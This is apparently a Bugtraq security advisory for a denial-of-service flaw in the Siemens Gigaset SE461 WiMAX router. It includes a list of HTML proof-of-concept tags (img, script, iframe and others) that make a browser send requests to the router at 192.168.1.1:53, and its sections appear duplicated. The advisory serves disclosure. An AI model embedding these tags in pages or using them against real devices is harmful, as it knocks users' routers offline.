Siemens Gigaset SE461 WiMAX router Request Denial of Service Vulnerability
BID:34220
Info
Siemens Gigaset SE461 WiMAX router Request Denial of Service Vulnerability
| Bugtraq ID: | 34220 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 23 2009 12:00AM |
| Updated: | Mar 24 2009 12:46PM |
| Credit: | Benkei |
| Vulnerable: |
Siemens Gigaset SE461 WiMAX router 1.5-BL024.9.6401 |
| Not Vulnerable: | |
Discussion
Siemens Gigaset SE461 WiMAX router Request Denial of Service Vulnerability
Gigaset SE461 WiMAX router is prone to a denial-of-service vulnerability because it fails to adequately handle malformed requests.
Successful exploits will deny service to legitimate users.
Gigaset SE461 WiMAX router is prone to a denial-of-service vulnerability because it fails to adequately handle malformed requests.
Successful exploits will deny service to legitimate users.
Exploit / POC
Siemens Gigaset SE461 WiMAX router Request Denial of Service Vulnerability
Attackers can exploit this issue using a browser.
The following proofs of concept are available:
<img src="http://192.168.1.1:53" />
<img src="http://192.168.1.1:53/p.png" />
<a href="http://192.168.1.1:53">click me</a>
<link href="192.168.1.1:53" rel="stylesheet" type="text/css" />
<link href="192.168.1.1:53/p.css" rel="stylesheet" type="text/css" />
<div style="background-image:url(http://192.168.1.1:53)"></div>
<div style="background-image:url(http://192.168.1.1:53/p.png)"</div>
<object data="http://192.168.1.1:53" type="image/gif" ></object>
<object data="http://192.168.1.1:53/p.gif" type="image/gif" ></object>
<script src="http://192.168.1.1:53"></script>
<script src="http://192.168.1.1:53/p.js"></script>
<iframe src="http://192.168.1.1:53"></iframe>
<iframe src="http://192.168.1.1:53/p.html"></iframe>
<bgsound src="http://192.168.1.1:53"></bgsound>
<bgsound src="http://192.168.1.1:53/p.wav"></bgsound>
<head><base href="http://192.168.1.1:53/"></head>
<base href="http://192.168.1.1:53/" /></head>
An HTML exploit file is also available:
Attackers can exploit this issue using a browser.
The following proofs of concept are available:
<img src="http://192.168.1.1:53" />
<img src="http://192.168.1.1:53/p.png" />
<a href="http://192.168.1.1:53">click me</a>
<link href="192.168.1.1:53" rel="stylesheet" type="text/css" />
<link href="192.168.1.1:53/p.css" rel="stylesheet" type="text/css" />
<div style="background-image:url(http://192.168.1.1:53)"></div>
<div style="background-image:url(http://192.168.1.1:53/p.png)"</div>
<object data="http://192.168.1.1:53" type="image/gif" ></object>
<object data="http://192.168.1.1:53/p.gif" type="image/gif" ></object>
<script src="http://192.168.1.1:53"></script>
<script src="http://192.168.1.1:53/p.js"></script>
<iframe src="http://192.168.1.1:53"></iframe>
<iframe src="http://192.168.1.1:53/p.html"></iframe>
<bgsound src="http://192.168.1.1:53"></bgsound>
<bgsound src="http://192.168.1.1:53/p.wav"></bgsound>
<head><base href="http://192.168.1.1:53/"></head>
<base href="http://192.168.1.1:53/" /></head>
An HTML exploit file is also available:
Solution / Fix
Siemens Gigaset SE461 WiMAX router Request Denial of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Siemens Gigaset SE461 WiMAX router Request Denial of Service Vulnerability
References:
References:
- Gigaset SE461 Product page (Siemens)